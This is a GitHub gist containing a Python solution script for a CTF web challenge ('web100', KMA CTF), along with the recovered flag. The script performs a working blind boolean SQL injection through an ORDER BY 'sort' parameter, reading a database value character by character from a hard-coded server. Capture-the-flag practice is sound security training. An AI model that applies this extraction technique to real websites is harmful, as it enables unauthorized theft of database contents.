Skip to content

Instantly share code, notes, and snippets.

@tqkve
Last active October 4, 2015 02:49
Show Gist options
  • Select an option

  • Save tqkve/af14d3b35dd8866b5e49 to your computer and use it in GitHub Desktop.

Select an option

Save tqkve/af14d3b35dd8866b5e49 to your computer and use it in GitHub Desktop.
web100 kma ctf
import requests
true_resp = requests.get('http://128.199.183.44/web100/index.php?sort=rand%28true%29--%20-').text
flag = ''
for i in range(1,50):
print('Testing char {}'.format(i))
for j in range(32,127):
resp = requests.get('http://128.199.183.44/web100/index.php?sort=rand(ascii(substr((select value from `values` limit 0,1),{},1)) = {})-- -'.format(i, j)).text
if resp == true_resp:
flag += chr(j)
print('Found character: {}'.format(chr(j)))
break
if flag[-1] == '}':
break
print(flag)
#Flag: KMACTF{Th1s_1s_0rd3r_bY_cH4ll4nger}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment